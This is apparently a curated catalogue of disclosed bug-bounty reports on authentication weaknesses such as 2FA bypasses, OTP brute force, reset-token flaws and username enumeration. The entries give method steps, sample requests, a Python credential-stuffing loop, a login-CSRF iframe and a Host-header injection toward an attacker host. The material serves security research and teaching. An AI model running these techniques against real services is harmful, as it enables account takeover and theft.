Insight β Any auth lookup of the form Model.find_by_x(params[:x]) in Rails is an array-param brute-force amplifier: [] turns the equality into IN(), so rate limits counted per-request are trivially defeated. Type-check/coerce credential params to String. Same array-param family as #139321.
Real-world example
Weak self-generated token + no rate limit on serverinfo endpoint
β Low
Specimen #1210458 Β· nextcloud Β· none Β· 7 votes Β· resolved
Program nextcloudSurface webTag webhook
Root cause
Nextcloud's serverinfo app allows API access via a custom token that admins set manually (typically short/low-entropy) and the endpoint has no bruteforce protection, so the token space is guessable.
Method
- Identify the serverinfo API endpoint that accepts a custom token.
- Note the token is admin-typed (often weak) and the endpoint is not rate-limited.
- Bruteforce/guess the token to read server info without auth.
GET /apps/serverinfo/api?token=<GUESSED_TOKEN>
Insight β User/admin-supplied secret tokens are usually far weaker than system-generated ones; combined with a missing rate limit on the consuming endpoint, they are bruteforceable. Flag endpoints where the secret is human-chosen and no lockout exists.
Real-world example
curl Negotiate connection reused across changed service principal
β Low
Specimen #3721183 Β· curl Β· none Β· 2 votes Β· resolved
Program curlSurface otherTag account-takeover
Root cause
libcurl reused an HTTP Negotiate/SPNEGO-authenticated persistent connection for a later request to the same host even when the requested service principal changed via CURLOPT_SERVICE_NAME/--service-name; the connection-reuse identity did not include the service name, so svcB's request executed under svcA's established auth context. Incomplete fix of CVE-2026-5545.
Method
- Request 1: --negotiate --service-name svcA to host (establishes authenticated keep-alive connection)
- Request 2 on same handle: --negotiate --service-name svcB to same host
- libcurl reuses the connection, sends no new Authorization header and does no new handshake for svcB
- Server serves svcB under svcA's auth context (control: a fresh process does a proper svcB handshake)
curl --negotiate --service-name svcA http://host/svcA \
--next \
--negotiate --service-name svcB http://host/svcB
# vulnerable: 'Reusing existing http: connection', no Authorization for svcB
Insight β Authenticated-connection reuse must key on the full auth target identity (host + port + scheme + service principal + credentials). When any auth-scoping parameter changes but the pooled connection is reused, you get auth-target confusion β test by changing service-name/SNI/credentials on a keep-alive connection.
Real-world example
Brute-force SMS recovery OTP with no attempt limit
β Info
Specimen #743545 Β· bumble Β· awarded Β· 258 votes Β· resolved
Program bumbleSurface mobile-iosTag account-takeover
Root cause
Numeric account-recovery code (4 digits) verified with no server-side attempt throttling / lockout, so the 10^4 keyspace is exhaustible; worse, the code was compared client-side on device.
Method
- Trigger phone-number account recovery ("Use another option" -> enter phone -> "Forgotten number")
- Submit the 4-digit SMS code endpoint repeatedly, iterating 0000-9999
- Reached the valid code within ~50 tries -> account takeover
POST /recovery/verify
{"phone":"VICTIM","code":"0000"} # iterate 0000..9999, no lockout
Insight β Any short numeric OTP/recovery/verification code is an ATO if the endpoint has no rate limit or lockout. Always enumerate the full keyspace on reset/recovery/2FA verify endpoints; also check whether the code is validated client-side (recoverable from the response/app).
Real-world example
Email-verification bypass by reusing victim's OTP
β Low
Specimen #1443211 Β· mattermost Β· awarded Β· 45 votes Β· resolved
Program mattermostSurface webTag account-takeover
Root cause
The email-verification OTP was not bound to the requesting account/email, so an OTP delivered to a victim's email could be submitted to verify the attacker's account (verification token not scoped to recipient).
Method
- Register attacker and victim accounts
- Trigger OTP to victim email; submit that OTP in the attacker's email-verification step
- Intercept/continue past the verification (next step / payment) so the server does not invalidate the session
Insight β Test whether email/phone verification OTPs are bound to the account that requested them: try consuming a code issued for one identity to verify another. Unbound codes let an attacker mark their account as verified without owning the email, enabling impersonation or trust escalation.
Real-world example
2FA bypass via the email-confirmation link login path
β Low
Specimen #1701378 Β· rocket_chat Β· none Β· 25 votes Β· resolved
Program rocket_chatSurface webTag account-takeover
Root cause
The 2FA check was enforced on the normal login page but not on the post-email-confirmation flow, so following an email-verification link logged the user in directly, skipping the second factor.
Method
- Sign up and enable 2FA on the account
- Trigger an email change so a confirmation link is issued
- Open the email-confirmation link - it authenticates the session without prompting for the 2FA code
Insight β Enumerate every path that ends in an authenticated session (email confirm, password reset, magic link, OAuth) and verify each independently enforces 2FA. Alternate entry flows are the classic place where the second-factor gate is missing.
Real-world example
API tokens survive unverified email change
β Low
Specimen #1812705 Β· cloudflare Β· awarded Β· 18 votes Β· resolved
Program cloudflareSurface webTag account-takeover
Root cause
Token creation is gated on email verification, but changing the account email to an unverified address does not revoke previously created API tokens, which remain usable and rotatable.
Method
- From a verified account, create API tokens
- Change account email to a new, unverified address
- Old tokens still work and can be rotated in the dashboard
Insight β When verification gates a capability, test whether flipping the account back to an unverified state retroactively revokes already-granted artifacts (tokens, sessions, keys).
Real-world example
Fail-open 2FA when the 2FA provider fails to load
β Low
Specimen #317711 Β· nextcloud Β· awarded Β· 10 votes Β· resolved
Program nextcloudSurface webTag account-takeover
Root cause
2FA enforcement depends on a pluggable provider being loaded; if the provider is missing/incompatible (e.g. after an upgrade), the check is skipped rather than failing closed, so 2FA is bypassed for all accounts.
Method
- Enable 2FA (e.g. TOTP) for a user
- Upgrade the core app or otherwise make the 2FA provider fail to load/become incompatible
- Log in with only username+password during that window; 2FA is not enforced
Insight β Whenever 2FA is provided by a plugin/module, test the fail-open case: disable/break/remove the provider and see if the second factor is silently skipped. Enforce 'if 2FA enabled, require a second factor or a backup code, never none'.
Real-world example
Step-up reauth bypass via email-swap then password reset
β Low
Specimen #642886 Β· liberapay Β· none Β· 10 votes Β· resolved
Program liberapaySurface webChain session hijack -> add+promote attacker email -> passwoTag account-takeover
Root cause
Changing the password requires re-entering the current password, but adding/confirming/promoting an email address does not; an attacker with a hijacked session pivots through the weaker email flow to a full password reset, defeating the reauth control.
Method
- With a hijacked/logged-in session, go to account settings
- Add an attacker-controlled email (no reauth required)
- Confirm it and set it as the primary email (no reauth required)
- Trigger 'forgot password' and reset via the new primary email - old password never needed
Insight β Map every state-changing action for whether it enforces step-up reauth. A single unprotected sibling action (add email, change recovery phone) usually chains into the protected one (password/2FA change). Test the whole graph, not one endpoint.
Real-world example
2FA enrollment OTP reusable as login OTP
β Low
Specimen #695041 Β· shopify Β· none Β· 8 votes Β· resolved
Program shopifySurface webTag account-takeover
Root cause
The one-time code sent to activate SMS 2FA is not invalidated after enrollment, so the same code passes the subsequent login 2FA challenge.
Method
- Enable SMS 2FA and record the activation code
- Log out and log back in with username/password
- At the 2FA prompt, replay the earlier activation code
- Login succeeds
Insight β OTP codes must be single-use and scoped to their action. Always test cross-purpose replay: enrollment code at login, password-reset OTP at 2FA, etc. Any OTP accepted twice or in a different flow is a finding.
Real-world example
Auto-login after password reset amplifies a leaked reset link to ATO
β Low
Specimen #164648 Β· legalrobot Β· awarded Β· 7 votes Β· resolved
Program legalrobotSurface webChain reset-link leak -> auto-login -> account takeoverTag account-takeover
Root cause
Completing a password reset automatically established an authenticated session instead of forcing a fresh login, so any leak/interception of a reset link yields an immediate live session.
Method
- Obtain/intercept a victim's reset link (e.g. via Referer leakage or shoulder access to the mailbox)
- Open it and set a password
- You are auto-logged-in as the victim without knowing prior credentials
Insight β Per OWASP forgot-password guidance, don't auto-authenticate after reset. When auditing reset flows, note whether completion drops you into a session β that turns a merely-leaked token into full ATO and raises the severity of any adjacent token-leak bug.
Real-world example
Password-reset token invalidation bypass via multiple emails
β Low
Specimen #244287 Β· weblate Β· none Β· 7 votes Β· resolved
Program weblateSurface webTag account-takeover
Root cause
After a fix to invalidate old password-reset tokens, adding multiple emails to one account and requesting a reset for each still produced independently valid links, so more than one reset token remained usable.
Method
- Add multiple email addresses to a single account.
- Request a password reset for each address.
- Use the link from each request in turn; all of them still work.
Insight β When testing password-reset token invalidation, don't test with one email: add several addresses/aliases and trigger multiple resets. Fixes that invalidate 'the previous token' often miss the multi-email / multiple-outstanding-token case.
Real-world example
Account gains arbitrary email via unverified social-IdP association
β Low
Specimen #265987 Β· weblate Β· none Β· 5 votes Β· resolved
Program weblateSurface webTag oauthTag account-takeover
Root cause
When linking a social/OIDC identity (openSUSE ID) to an account, the app trusts the email asserted by the IdP without confirming it was verified there; since the IdP lets you set any email unverified, the attacker imports an arbitrary (e.g. admin@) email onto their account without ever proving ownership.
Method
- Create an identity on the upstream IdP and set its email to a target address (no verification needed there).
- In the target app, add that IdP identity as a new association.
- The unverified email now appears as a verified email on your app account.
Insight β For any 'link social account' feature, check whether the app re-verifies the email from the IdP or blindly trusts the assertion. Unverified-email trust is a pre-ATO primitive (can enable password-reset collisions or merge into another user's account).
Real-world example
OTP bypass by omitting the code field entirely
β Info
Specimen #3255473 Β· tucows_vdp Β· none Β· 132 votes Β· resolved
Program tucows_vdpSurface webTag account-takeover
Root cause
The signup handler only validated the OTP when the code field was present; removing the code key from the JSON body skipped the check and returned a valid session for any email.
Method
- Start signup with a valid-looking body containing code
- Delete the entire code field from the JSON and resend
- HTTP 200 {success:true} + valid session, email unverified
{"account":{"email":"victim@x","username":"x","password":"x","tosValues":{"consent":true}}} // note: 'code' removed
Insight β Beyond wrong/trivial OTPs, try OMITTING the verification field (and null/empty). Handlers that branch on 'if code present -> verify' skip verification when it's absent, registering accounts on emails you don't own.
Real-world example
Timing-attack username enumeration (early-return skips password hash)
β Info
Specimen #3424977 Β· django Β· none Β· 62 votes Β· resolved
Program djangoSurface webTag account-takeover
Root cause
Django's modwsgi check_password returns immediately (DoesNotExist / inactive) without running the expensive password hash for unknown users, so valid usernames respond measurably slower -> timing oracle.
Method
- Send auth requests (HTTP Basic) with candidate usernames and a fixed wrong password
- Measure response.elapsed for each
- Valid users are much slower (hash runs) than non-existent users (early return)
# existing user: ~236-379 ms | non-existent user: ~2-3 ms
requests.get(url, auth=HTTPBasicAuth(username, 'wrongpass'))
print(response.elapsed.microseconds)
Insight β When error bodies are identical, use timing: auth code that skips the KDF for unknown users leaks account existence. Mitigation (and detection tell) is a dummy set_password() on the not-found path.
Real-world example
2FA bypass via alternate SSO login path
β Info
Specimen #178293 Β· shopify Β· 1500 Β· 40 votes Β· resolved
Program shopifySurface webTag account-takeoverTag oauth
Root cause
Enabling a federated login (Google Apps) and signing in via that SSO path skipped the account's 2FA challenge entirely and silently disabled 2FA enforcement, so subsequent password logins also no longer required the second factor.
Method
- On an account with TOTP 2FA enabled, enable a Login Service (Google Apps)
- Sign in with Google (β¦/admin/auth/login?google_apps=1) -> lands in admin with no 2FA prompt
- Observe 2FA is now disabled and normal password login also skips 2FA
https://shop-1.myshopify.com/admin/auth/login?google_apps=1
Insight β Every alternate authentication entry (SSO, magic link, mobile app, API token, recovery flow) must independently enforce 2FA. Test each login path against a 2FA-enabled account; a path that bypasses (or worse, disables) 2FA is a full second-factor bypass. Also check whether disabling 2FA notifies the user.
Real-world example
OTP/2FA bypass by tampering the validation response
β Info
Specimen #130460 Β· bitaccess Β· awarded Β· 34 votes Β· resolved
Program bitaccessSurface webTag account-takeover
Root cause
OTP verification result was trusted from a client-visible server response rather than bound to the server session; intercepting the verify response and changing its value to the 'valid' form bypasses the check.
Method
- Submit any OTP to the verification endpoint
- Intercept the server response in a proxy
- Change the response body/flag from failure to the success value
- Forward it; client treats the OTP as accepted
{"otp_valid": false} -> {"otp_valid": true} // flip the returned verification result
Insight β Any auth step whose success is signaled by a client-visible response is bypassable. Test by flipping the response (false->true, 401->200, error->success). OTP state must be validated and consumed server-side.
Real-world example
2FA brute force from insufficient rate limiting + no alerting + lockout gap
β Info
Specimen #149598 Β· gitlab Β· none Β· 32 votes Β· resolved
Program gitlabSurface webChain Password reuse/leak -> feasible 2FA brute -> full accoTag account-takeover
Root cause
The 2FA implementation relies only on rate limiting, which allows ~20 token guesses per valid 60s token window, generates no victim/admin notification, and β critically β a locked account still validates the password (redirects to the 2FA screen), so lockout doesn't stop credential confirmation.
Method
- With a known/guessed password, submit TOTP guesses to the 2FA endpoint
- Measure allowed guesses per token window (~10-20 before throttle, throttle ~30-40s)
- Sustain ~20 guesses/token over days: 6-digit space gives ~9.5% success in ~3.5 days, ~18% in ~7 days
- Note no email/log alert fires; and while account is 'locked', a correct password still advances to the 2FA prompt (confirms password)
POST /users/auth/two_factor
otp_attempt=NNNNNN # ~20 attempts land per 60s token before throttle
Insight β Rate limiting alone does not secure OTP. Demand: hard cap of ~3 attempts then account lock + alert, and never validate a password on a locked account. Do the probability math to prove brute force is feasible even with throttling.
Real-world example
2FA bypass via login-param precedence over session otp_user_id (GitLab)
β Info
Specimen #128085 Β· gitlab Β· none Β· 27 votes Β· resolved
Program gitlabSurface webTag account-takeover
Root cause
SessionsController#find_user resolved the user by params[:login] if present, otherwise by session[:otp_user_id]. Because params[:login] took precedence, adding a login field to the OTP-verification request made the server validate the OTP against a different (attacker-chosen) user.
Method
- As attacker (own account, 2FA on), log in with username+password so session[:otp_user_id] is set
- Intercept the OTP submission (user[otp_attempt]) and add a user[login]=victim field
- Submit a currently-valid OTP for the victim; server checks OTP against victim (login param wins) and signs you in as victim
POST /users/sign_in
...
Content-Disposition: form-data; name="user[otp_attempt]"
<VALID_VICTIM_OTP>
...
Content-Disposition: form-data; name="user[login]"
victim
Insight β When a second-factor step re-derives the user, check whether a request parameter can override the session-bound user id. Parameter-vs-session precedence mismatches let you validate factor N against a different account. You still need a valid OTP, but no password.
Real-world example
2FA-code bruteforce via mobile API endpoint that lacks the web's rate limit
β Info
Specimen #165727 Β· slack Β· 500 Β· 26 votes Β· resolved
Program slackSurface apiTag account-takeover
Root cause
The web login enforced 2FA rate limiting after a few attempts, but the iOS app's /api/auth.signin endpoint had no such limit, so the 6-digit pin could be brute-forced there.
Method
- Log into a 2FA account via the iOS app and intercept the 2FA submission to /api/auth.signin
- Bruteforce the 'pin' parameter with Intruder (no lockout triggers)
- Distinguish success by response: failures return 'invalid_pin'; the correct pin returns a token/{ok:true} with different length
POST /api/auth.signin
...
pin=<000000..999999>
# fail: {"error":"invalid_pin"} success: {"ok":true,"token":"xoxs-..."}
Insight β Web and mobile/alternate API endpoints frequently diverge on security controls - if the web login is rate-limited, test the mobile app's auth endpoint for the same action. Use response-length/body diffs as the success oracle.
Real-world example
Bypass SSO-gated admin by requesting an alternate extension (/admin.php)
β Info
Specimen #1421804 Β· shopify Β· awarded Β· 26 votes Β· resolved
Program shopifySurface web
Root cause
Authentication (Okta SSO) was enforced on /admin, but the same admin controller was reachable at /admin.php, which the auth/routing layer did not protect, exposing the admin dashboard and its CSRF token unauthenticated.
Method
- Navigate to /admin and observe redirect to the SSO/Okta login (protected)
- Request /admin.php (or another extension/case variant) directly
- The admin dashboard renders without auth; extract the exposed authenticity_token
GET /admin.php HTTP/1.1 # while GET /admin redirects to SSO login
Insight β Auth is often bound to an exact path. Try extension and path variants (.php, .json, trailing slash, //, case changes, ;/) to reach the same handler through an unprotected route. Exposed CSRF tokens on such pages compound the impact.
Real-world example
No rate limit on OAuth xAuth token endpoint
β Info
Specimen #708917 Β· automattic Β· awarded Β· 21 votes Β· resolved
Program automatticSurface apiTag oauth
Root cause
The OAuth1 xAuth access_token endpoint accepts username/password (x_auth_mode=client_auth) with no rate limiting, enabling unthrottled credential stuffing / brute force outside the normal web login.
Method
- Obtain a valid OAuth consumer key/secret (public mobile-client keys often leaked on GitHub)
- POST x_auth_username/x_auth_password to /oauth/access_token signed with the consumer key
- Loop user x password combos; 200 vs error distinguishes valid creds
import requests, requests_oauthlib
url='https://www.tumblr.com/oauth/access_token'
for user in users:
for p in passwords:
d=f'x_auth_username={user}&x_auth_password={p}&x_auth_mode=client_auth'
r=requests.post(url, auth=requests_oauthlib.OAuth1(CK,CS,decoding=None), data=d)
print(user,p,r.status_code,r.text)
Insight β Web login may be rate-limited while the OAuth/xAuth/API token endpoint is not. Enumerate alternate auth entry points; leaked mobile consumer keys unlock them.
Real-world example
2FA-on-send bypass via internal-transfer endpoint
β Info
Specimen #10554 Β· coinbase Β· USD 1000 Β· 18 votes Β· resolved
Program coinbaseSurface webTag account-takeover
Root cause
The 'require 2FA on send' control is enforced only on the send-money path; the internal wallet-transfer endpoint skips it, and its destination id is attacker-controllable to any external wallet.
Method
- Enable 'require 2FA to send any amount'
- Create a second wallet, start an internal Transfer, intercept the request
- Change transaction[to] to any external wallet BSON id (readable from DOM data-wallet-id)
- Forward; funds move with no 2FA prompt
POST /accounts/transfer_money HTTP/1.1
Host: coinbase.com
transaction[from]=51cf4e552f31a99ce200001b
transaction[to]=<ANY_EXTERNAL_WALLET_ID>
transaction[amount]=0.1
Insight β Security controls are often bound to one code path; enumerate alternate endpoints (internal transfer, bulk, legacy API) that reach the same sensitive action but skip the check.
Real-world example
Password-reset token not invalidated after password change
β Info
Specimen #400826 Β· weblate Β· none Β· 18 votes Β· resolved
Program weblateSurface webTag account-takeover
Root cause
A previously issued password-reset token remains valid after the user changes their password in-session, so an old (possibly leaked) reset link can still take over the account later.
Method
- Request a password reset but don't use the link
- Log in and change the password via profile settings
- The original reset link still works and resets the password again
(no payload) 1) request reset -> email link 2) change password while logged in 3) old reset link still valid
Insight β Reset tokens must be invalidated on any password change and on use. Test token lifecycle: does changing the password, logging out, or issuing a new token kill the old one? Stale reset links are a common ATO primitive when combined with email/link exposure.
Real-world example
2FA secret/backup codes pre-generated and exposed in settings DOM
β Info
Specimen #100509 Β· security Β· $1000 Β· 15 votes Β· resolved
Program securitySurface webChain XSS/session compromise -> read pre-generated 2FA secret+bTag account-takeover
Root cause
The app pre-generates the TOTP secret and backup codes and renders them on the 2FA settings page before the user actually enables 2FA (and even for users not allowed to). Reading them from the DOM requires no password/TOTP.
Method
- Compromise the victim session (e.g. via XSS running in the app origin)
- Fetch /settings/authentication/edit
- Parse the 2FA secret key and backup codes out of the returned HTML/DOM
- If the victim later enables 2FA in that session, the attacker already knows the secret/codes
GET /settings/authentication/edit HTTP/1.1
Host: TARGET
Cookie: <victim session>
# then regex-scrape the TOTP secret and backup codes from the form
Insight β After any same-origin script execution, always loot the account-security settings page: 2FA setup pages, backup codes, API tokens and recovery codes are frequently rendered client-side before confirmation. Pre-generation of secrets is a design smell.
Real-world example
Email-domain allowlist bypass via MySQL utf8 truncation
β Info
Specimen #2233 Β· phabricator Β· 500 Β· 13 votes Β· resolved
Program phabricatorSurface webTag account-takeover
Root cause
Registration validates the full email against an allowed-domain suffix, but MySQL (utf8, not utf8mb4) truncates the stored string at the first 4-byte character (code point > 0xFFFF). The address validated as ending in an allowed domain is stored as a different, attacker-controlled address.
Method
- Register with an address that validates against the allowed domain but contains a 4-byte Unicode char before it
- Validation sees ...@allowed-domain.com and passes
- MySQL utf8 column truncates at the 4-byte char, storing attacker@gmail.com
- Attacker now holds an 'allowed-domain' account bound to their own inbox
attacker@gmail.comπ@allowed-domain.com
# validated as ...@allowed-domain.com; stored (MySQL utf8) as attacker@gmail.com
Insight β Validation and storage must agree on encoding/length. On MySQL utf8 (3-byte) columns, a 4-byte character (emoji, astral-plane) truncates the value silently -> data seen by validator differs from data persisted. Test allowlist/uniqueness checks with astral-plane chars and over-length strings.
Real-world example
SMB external-auth backend accepts any user via Samba 'map to guest'
β Info
Specimen #148151 Β· owncloud Β· awarded Β· 11 votes Β· resolved
Program owncloudSurface webChain Auth bypass (login as admin) + unescaped host param -> coTag account-takeover
Root cause
The user_external SMB backend validates credentials with `smbclient -L //host/dummy -Uuser%pass`. Default Samba (`map to guest = bad user`) lets a share listing succeed for ANY unknown user, so smbclient -L returns success regardless of password; ownCloud then logs the attacker in (creating the account if needed) β including admin. Separately the `host` config value is unescaped, giving command injection on each login.
Method
- Enable the external SMB user auth app pointed at any Samba host with default map-to-guest=bad user
- Log in with a target username and ANY password
- smbclient -L succeeds (guest mapping) -> ownCloud authenticates you as that user (or creates it)
- For persistence/RCE: inject shell metacharacters via the unescaped host parameter in config.php
# vulnerable check (owncloud/apps/user_external/lib/smb.php):
smbclient -L //host/dummy -Uuser%pass # -L listing succeeds for bad user under map-to-guest
# correct check would authenticate the session, e.g.:
smbclient //host -Uuser%pass
Insight β When an app 'validates' credentials against an external service, check WHICH operation it uses: a listing/anonymous-tolerant command (smbclient -L, LDAP anonymous bind, HTTP 200-on-guest) is not proof of authentication. Verify with the least-privileged authenticated operation instead. Also audit every backend config value for shell interpolation.
Real-world example
Brute force via mobile endpoint missing web's lockout
β Info
Specimen #160109 Β· instacart Β· awarded Β· 11 votes Β· resolved
Program instacartSurface apiTag account-takeoverTag oauth
Root cause
Account lockout/rate limiting was enforced only on the web login; the mobile OAuth token endpoint had no such limit and even accepted logins for accounts already locked on web.
Method
- Proxy the mobile app and capture the login request
- Replay POST /oauth/token with a password list via Intruder
- No lockout triggers; correct password returns 200 vs 401 for wrong
- Works even against web-locked accounts
POST /oauth/token HTTP/1.1
Host: www.instacart.com
grant_type=password&username=VICTIM&password=FUZZ
Insight β Security controls are often per-endpoint. When web login is rate-limited, hunt for parallel auth surfaces - mobile/OAuth/API/legacy endpoints - which frequently lack the same lockout and even ignore existing locks.
Real-world example
Password-reset token leaked to third parties via Host/Referer header
β Info
Specimen #1092831 Β· shopify Β· none Β· 11 votes Β· resolved
Program shopifySurface webChain host-header injection / referer leak -> reset token captuTag account-takeover
Root cause
The password-reset link (containing the reset token) is embedded in a page whose outbound requests (analytics, third-party scripts) carry the full URL in the Referer, and the reset email/link is built from an attacker-influenceable Host header, so the token reaches domains outside the app's trust boundary.
Method
- Trigger a password reset for your own account
- Open the reset link with a proxy; observe requests to third-party hosts carrying the token in Referer/Host
- Where the reset link is generated from the request Host header, inject an attacker Host to point the link at attacker infrastructure
- Capture the token off the third-party/attacker side and reset the victim's password
POST /account/reset HTTP/1.1
Host: attacker.tld <-- reset email/link built from this
...
# OR: victim opens reset link, token leaks via
Referer: https://your-store.wholesale.shopifyapps.com/reset?token=<TOKEN>
Insight β Reset/verification tokens in URLs leak to any third-party the page talks to (Referer) and to any host you can inject (Host/X-Forwarded-Host). Test password-reset with a spoofed Host, and watch Referer egress to analytics/CDNs. Note: this instance was ruled low risk because the analytics endpoint belonged to the vendor, not an attacker β impact hinges on whether the receiving party is attacker-controlled.
Real-world example
Unthrottled 5-digit SMS login code brute force to account takeover
β Info
Specimen #158157 Β· instacart Β· awarded Β· 9 votes Β· resolved
Program instacartSurface webChain OTP brute force -> shopper account takeoverTag account-takeover
Root cause
The shopper login_code is a 5-digit SMS OTP with no attempt limit on /verify_login_code, so the ~100k keyspace is brute-forceable; a valid code authenticates the account tied to a known phone number.
Method
- Register / trigger a login code for a target phone via /send_login_code
- Brute-force /verify_login_code with 00000-99999
- Detect success by the response flip (HTTP 404 + error -> HTTP 200 + {redirect_to:/apply})
- Log in with the phone number and the recovered code
POST /verify_login_code
utf8=%E2%9C%93&phone=(888)+999-5555&login_code=00000&commit=Submit
# incorrect: 404 {"error":"...code is incorrect."}
# correct: 200 {"redirect_to":"/apply"}
Insight β Short numeric OTP/login codes with no per-account attempt cap are fully brute-forceable. Look for the success oracle (status-code or body flip). Any SMS/email OTP flow needs attempt limits + code rotation on failure.
Real-world example
Login CSRF via password-reset chain (logout-CSRF + auto-login-on-reset)
β Info
Specimen #229417 Β· weblate Β· none Β· 7 votes Β· resolved
Program weblateSurface webChain logout CSRF -> auto-login-on-reset -> victim operates Tag account-takeover
Root cause
Two individually-minor flaws chain: consuming a password-reset token logs out any current session (logout CSRF), and clicking a reset link auto-authenticates the account; fired in sequence against a victim they are logged out of their account and silently logged into the attacker's.
Method
- Attacker generates two reset tokens on their own account back-to-back
- Host an HTML/JS page that opens reset-link #1 then, after a delay, reset-link #2
- Victim visits: link #1 logs them out of their account; link #2 logs them into the attacker's account
- Victim then acts (uploads code/data) inside the attacker-controlled account
<iframe src="https://TARGET/accounts/reset/?token=ATTACKER_TOKEN_1"></iframe>
<script>setTimeout(()=>location='https://TARGET/accounts/reset/?token=ATTACKER_TOKEN_2',4000)</script>
Insight β Chain 'harmless' bugs: logout CSRF becomes serious when combined with auto-login-on-reset to force a victim into an attacker account (session fixation / login CSRF), harvesting whatever they submit. Test whether reset links auth the session and whether they kill existing sessions cross-site.
Real-world example
Brute-force of notification unsubscribe token to disclose victim email
β Info
Specimen #35287 Β· x Β· awarded Β· 4 votes Β· resolved
Program xSurface webTag account-takeover
Root cause
Notification (unsubscribe / not-my-account) links used low-entropy, non-expiring codes generated freshly on every email; flooding the victim with notifications multiplies valid codes, raising collision probability, and a hit discloses the full account email.
Method
- Enable notifications and trigger many emails to the victim (repeatedly fav/unfav a tweet) so many valid codes exist
- Enumerate the code in the not_my_account URL
- On a valid code, the page discloses the account's full email address in cleartext
https://twitter.com/account/not_my_account/USERNAME/BRUTE-FORCED-CODE
Insight β Unsubscribe/notification action tokens are auth-relevant: they must be high entropy, single-use, expiring, and must mask disclosed PII. Attacker can amplify guess probability by forcing more tokens to be minted.
Real-world example
Password brute force via response length/status differential
β Info
Specimen #119454 Β· veris Β· none Β· 4 votes Β· resolved
Program verisSurface webTag account-takeover
Root cause
The login endpoint had no rate limiting/lockout and returned a distinguishable response for correct vs incorrect passwords (200 / length 573 vs 400 / length 507), turning it into a brute-force oracle.
Method
- Capture a login request and send to Intruder
- Fuzz the password field with a wordlist
- Filter on status/content-length: correct password yields 200 / len 573, wrong yields 400 / len 507
POST /portal/login/ (Burp Intruder on password param)
# valid: 200 OK, Content-Length 573
# invalid: 400, Content-Length 507
Insight β Distinct response size/status between valid and invalid credentials is a brute-force oracle even when the message text looks identical; normalize responses and rate-limit.
Real-world example
Account/email enumeration via password-reset response differential
β Info
Specimen #5688 Β· c2fo Β· none Β· 4 votes Β· resolved
Program c2foSurface apiTag account-takeover
Root cause
The password-reset (and unsubscribe) endpoints return distinguishable responses for existing vs non-existing accounts, turning them into a user-enumeration oracle.
Method
- POST an email that exists to the reset endpoint -> observe response A.
- POST a non-existent email -> observe response B.
- If A != B (body, status, or timing), enumerate a wordlist of emails to build a valid-account list.
POST /api/password-reset HTTP/1.1
Host: app.c2fo.com
Content-Type: application/x-www-form-urlencoded
emailAddress=victim%40example.org
// exists -> {"inReset":true} ; not found -> {"error":"invalid_email_address"}
Insight β Always diff reset/signup/unsubscribe/login responses for existing vs unknown accounts (message text, status code, and response timing). Fix is a uniform 'if the email exists we sent a link' response. Same oracle appears in newsletter unsubscribe forms (#145396).
Real-world example
2FA/GA code not verified server-side
β Info
Specimen #77076 Β· enter Β· $250 Β· 3 votes Β· resolved
Program enterSurface apiTag account-takeover
Root cause
The Google Authenticator code was not validated server-side for accounts in a particular state (verification DENIED), so any value passed the 2FA step and let an attacker submit verification documents on another user's behalf.
Method
- Reach the /login/verify (GA/2FA) step for a target account in the vulnerable state
- Submit an arbitrary GA code
- Server returns success:true and proceeds to the authenticated document-upload flow
POST /v0/cash/auth/login/verify { "phone": TARGET, "pin": TARGET_PIN, "gaCode": "000000" }
Response: {"success":true,"response":{"kioskEnrollmentStatusType":"DENIED"}}
Insight β Always test 2FA/OTP with a garbage code AND across account states (pending/denied/locked). Second-factor checks are frequently skipped on non-happy-path states while the request still advances to authenticated actions.
Real-world example
Password re-auth enforced only on UI step, not final request
β Info
Specimen #93901 Β· shopify Β· awarded Β· 3 votes Β· resolved
Program shopifySurface webTag account-takeover
Root cause
Account deletion required a password on the interactive step, but the final state-changing request (survey/confirm) carried no password check; forging that request directly deleted the shop without a password.
Method
- Capture a normal authenticated request (e.g. settings update) to obtain a valid authenticity_token
- Repoint it to the destructive endpoint and swap _method to the destructive verb
- Append only the required post-password fields (cancel_reason) and send
POST /admin/account HTTP/1.1
...
utf8=%E2%9C%93&_method=delete&authenticity_token=<valid_token>&cancel_reason%5Bselection%5D=other&cancel_reason%5Bdetailed%5D=testing
Insight β Re-authentication (password/OTP confirm) is often only a client-side gate before the real request. Capture the final request and replay it directly, skipping the confirm step, to test whether the sensitive action actually re-checks the password.
Real-world example
Username enumeration via differential login errors
β Info
Specimen #123496 Β· veris Β· none Β· 3 votes Β· resolved
Program verisSurface web
Root cause
The login endpoint returned distinct error messages for non-existent user vs wrong password, letting an attacker enumerate valid accounts.
Method
- Submit login with a candidate username and any password
- 'User not exist' => invalid account; 'Password does not match' => valid account
- Iterate a username/email list to build the valid-account set
POST /login user=<candidate>&password=x
# 'User not exist' vs 'Password does not match'
Insight β Beyond message text, also diff HTTP status, response length, and response timing on login/reset/registration. Any observable difference between existing and non-existing accounts is an enumeration oracle feeding brute-force and phishing.
Real-world example
Stale password-reset link stays valid after email change
β Info
Specimen #17474 Β· phabricator Β· awarded Β· 26 votes Β· resolved
Program phabricatorSurface webTag account-takeover
Root cause
Password-reset tokens were not invalidated when the account's email was changed or removed, so a reset link issued to an old address remained usable after that address was detached.
Method
- Register with email A; request a password reset link to A but do not use it
- Change the account email to B (verify B) and remove A
- Later, click the old reset link sent to A - the password still gets changed
Insight β Reset tokens must be invalidated on email change/removal, password change, and use. Test token longevity across account-state changes - a link tied to a now-detached email is a common overlooked path to takeover of an address you once controlled.
Real-world example
SSO auto-provisioned account + forgot-password bypass
β Info
Specimen #208407 Β· security Β· none Β· 20 votes Β· resolved
Program securitySurface webChain SSO login -> local account creation -> password reset Tag oauthTag account-takeover
Root cause
A CMS (Drupal) fronted by Google SSO auto-creates a local account on first SSO login; the local account's password-reset flow remains enabled, so requesting a reset yields a one-time login link into the CMS, sidestepping the SSO restriction.
Method
- Find a Drupal instance with /user/password reachable
- Log in once via Google SSO (creates a local user)
- Return to /user/password and request a reset for that email
- Use the emailed one-time login link to enter the internal Drupal directly
Insight β When SSO is bolted onto an app that keeps native auth, the native password-reset/login path is often left open and becomes the bypass. Probe /user/password, /login?native, etc., after SSO provisioning.
Real-world example
Password reset token not invalidated on re-issue
β Info
Specimen #170161 Β· yelp Β· awarded Β· 18 votes Β· resolved
Program yelpSurface webTag account-takeover
Root cause
Requesting a new password-reset token does not expire previously issued unused tokens; multiple valid tokens coexist, so an old captured token stays usable after the user resets.
Method
- Request reset -> token_01 (do not use)
- Request reset again -> token_02
- Both token_01 and token_02 remain valid
